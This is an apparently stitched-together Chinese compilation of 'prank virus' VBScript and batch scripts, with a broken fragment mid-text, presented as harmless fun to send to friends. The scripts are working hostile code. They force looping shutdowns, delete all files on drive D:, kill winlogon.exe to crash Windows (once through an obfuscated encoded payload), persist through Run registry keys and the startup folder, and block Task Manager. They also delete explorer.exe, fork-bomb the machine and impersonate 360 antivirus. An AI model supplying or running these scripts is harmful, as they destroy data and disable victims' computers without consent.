仅供恶搞娱乐和研究，没有攻击任何人，组织的意图。
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" ' 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
set sh=createobject("wscript.shell")
msgbox "你是否经常失眠？",vbyesno
msgbox "我也经常失眠。唉。"
msgbox "我告诉你一个祖传秘方吧！"
for i=1 to 50
sh.popup i & "只羊",1
next
wscript.sleep 1000
sh.popup "好吧，晚安！",5
do
sh.run "shutdown -s -f -t 30"
msgbox "再见~"
loop
这个自动打字：很吓人的
dim sh,str,a,i
set sh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!" '这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行：呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
这个立刻蓝屏：
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任务管理器")=true then
ws.run "taskkill /f /im Taskmgr.exe"
end if
if ws.appactivate("命令提示符")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系统关机")=false then
ws.run "shutdown -s -f -t 30"
end if
loop
这个会出现一堆窗口：
Set sh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i
<s
i=i+1

sh.run wscript.scriptfullname

loop

s=s+1

i=0

randomize

wscript.sleep int(rnd()*100)

msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"

thn=wscript.scriptfullname

sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn

loop

这个五秒内死机，十秒内鼠标不能动！

do

createobject("wscript.shell").run wscript.scriptfullname

loop

1.

do

msgbox"系统错误"

loop

2.整人，比人家说他自己是猪，不然关机

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，还不嗨皮"

msgbox chr(13) + chr(13) + chr(13) +"傻逼"

msgbox chr(13) + chr(13) + chr(13) +"和傻逼一样的"

msgbox chr(13) + chr(13) + chr(13) +"你是傻逼，"

msgbox chr(13) + chr(13) + chr(13) +"好嗨哦"

msgbox chr(13) + chr(13) + chr(13) +"你是傻逼是大傻逼"

msgbox chr(13) + chr(13) + chr(13) +"想关掉吗"

msgbox chr(13) + chr(13) + chr(13) +"那你还要点20下喔"

msgbox chr(13) + chr(13) + chr(13) +"20"

msgbox chr(13) + chr(13) + chr(13) +"19"

msgbox chr(13) + chr(13) + chr(13) +"18"

msgbox chr(13) + chr(13) + chr(13) +"17"

msgbox chr(13) + chr(13) + chr(13) +"16"

msgbox chr(13) + chr(13) + chr(13) +"15"

msgbox chr(13) + chr(13) + chr(13) +"14"

msgbox chr(13) + chr(13) + chr(13) +"13"

msgbox chr(13) + chr(13) + chr(13) +"12"

msgbox chr(13) + chr(13) + chr(13) +"10"

msgbox chr(13) + chr(13) + chr(13) +"9"

msgbox chr(13) + chr(13) + chr(13) +"8"

msgbox chr(13) + chr(13) + chr(13) +"7"

msgbox chr(13) + chr(13) + chr(13) +"6"

msgbox chr(13) + chr(13) + chr(13) +"5"

msgbox chr(13) + chr(13) + chr(13) +"4"

msgbox chr(13) + chr(13) + chr(13) +"3"

msgbox chr(13) + chr(13) + chr(13) +"2"

msgbox chr(13) + chr(13) + chr(13) +"1"

do

msgbox"我又不想让你关掉了"

loop

1.直接关机行么？

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

2.删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

3.不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

4.不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if 第六个 Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七个 set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八个 Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改变社会风气，风魔万千少女，刺激电影市道，提高年轻人内涵，",10,"闪亮登场",64 ws.popup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscript.sleep 100000 ws.popup"发现重要windows更新未安装，系统将自动下载更新并安装",10 ws.popup"正在下载windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下载完毕，正在安装更新……",12 wscript.sleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontroler.exe "&vbcrlf&""&vbcrlf&" 大小：1.21MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscript.sleep 15000 ws.popup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation ws.popup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 ws.popup"不信？我用你的电脑打开我的QQ空间给你看看",10 ws.run" http://user.qzone.qq.com/403746401/infocenter" msgbox"警告：为了您的电脑安全，请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation ws.popup"我再打开中国神泣官方网站",10 ws.run" http://shaiya.gtgame.com.cn/index.htm" ws.popup"现在相信了吧？我再打开你的记事本给你写封英语信",20 ws.popup"记事本会被打开并最大化，这时你不要动，千万别把目标转移到其他窗口，耐心看我把信写完。否则引起系统混乱我可不负责！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九个 for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功，enjoy the best!" exit do else msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" wscript.sleep 1000*45 loop 第十个 set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一个 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二个 dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02") If c = ""Then WScript.Quit End If wscript.sleep 1000age = abs(datediff("d",date,c)) wscript.sleep 1 current = now() h=datepart("h",current) n=datepart("n",current) WScript.Sleep 1000 s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) auto.WriteLine"MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍：""" auto.WriteLine"msgbox"&""""&"亲爱的 "&a& " 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&"" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) auto.WriteLine"本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." auto.WriteLine"你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" auto.WriteLine"时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。"
</s

恶搞电脑病毒代码有哪些？

　　有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
　　恶搞电脑病毒代码介绍一：
　　首先在电脑上新建一个TXT文档
　　然后把下面这段代码输入进去
　　On Error Resume Next
　　Dim WSHshellA
　　Set WSHshellA = wscript.CreateObject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
　　Dim a
　　Do While (a <> "我是猪")
　　a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
　　MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
　　Loop
　　MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
　　WSHshella.run "cmd.exe /c shutdown -a"
　　然后保存
　　然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
　　你要修改为.VBS的后缀

　　恶搞电脑病毒代码介绍二：
　　新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
　　他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
　　恶搞电脑病毒代码介绍三：
　　新建一个文本文档(.txt)，要复制以下代码：
　　@echo off
　　color 4
　　tskill explorer
　　echo .
　　echo .
　　echo .
　　echo .
　　echo 警告：在病毒执行期间禁止关闭电源，
　　echo 否则你就和你心爱的电脑说
　　echo .
　　echo . BYE-BYE
　　echo .
　　echo Computer system crash!
　　echo .
　　echo .
　　echo I am a virus, my name is Ghost.
　　echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
　　echo .
　　echo . Warning! CPU has been changed please re-enter CPU settings
　　echo. in the CMOS setuo and remember to save before quit.
　　echo. Secondary IDE channel no 80 conductor cable installed.
　　set /p select=:)
　　if "%select%"=="" goto start
　　:start
　　shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
　　::结束
　　再另存为：名字.bat 你要记住"名字"后面要加".bat"
　　就可以了，没有任何破坏性，吓吓人。
　　你可以试试看看效果。

恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦

有什么在QQ聊天中用的vbs整人代码？

On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit

vbs整人的代码。

难得能用一次电脑。。。。在笔记本上写好后在电脑上打出来了。。。
Dim a(4),b,c,fso,file,startup
Set fso = createobject("scripting.filesystemobject")
Set file = fso.getfile(wscript.scriptfullname)
set wshshell = createobject ("wscript.shell")
startup = wshshell.specialfolders("startup")&"\"
file.copy startup 这里是把这个vbs自身复制到启动项的
wshshell.run "cmd.exe /c shutdown -s -f -t 60 -c 不说就关机!!!"
randomize
a(0) = "猪"
a(1) = "笨蛋"
a(2) = "傻叉"
a(3) = "坏人"
b = Round(rnd*3 + 0) 生成一个0到3的随机数作为b的值
c = inputbox("快说“我是"&a(b)&"”，不然就马上关机哦！","快说","",0,0)
If b <> "" then 这句不能少，用来固定b的值，少了之后在下面会出现不同的值
If c = "我是"&a(b) Then
wshshell.run "cmd.exe /c shutdown -a"
msgbox "你这"&a(b)
Else
wshshell.run "cmd.exe /c shutdown -a"
wscript.sleep 1000
wshshell.run "cmd.exe /c shutdown -s -f -t 0"
End If
Else
End if
其他的不难懂。。。
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
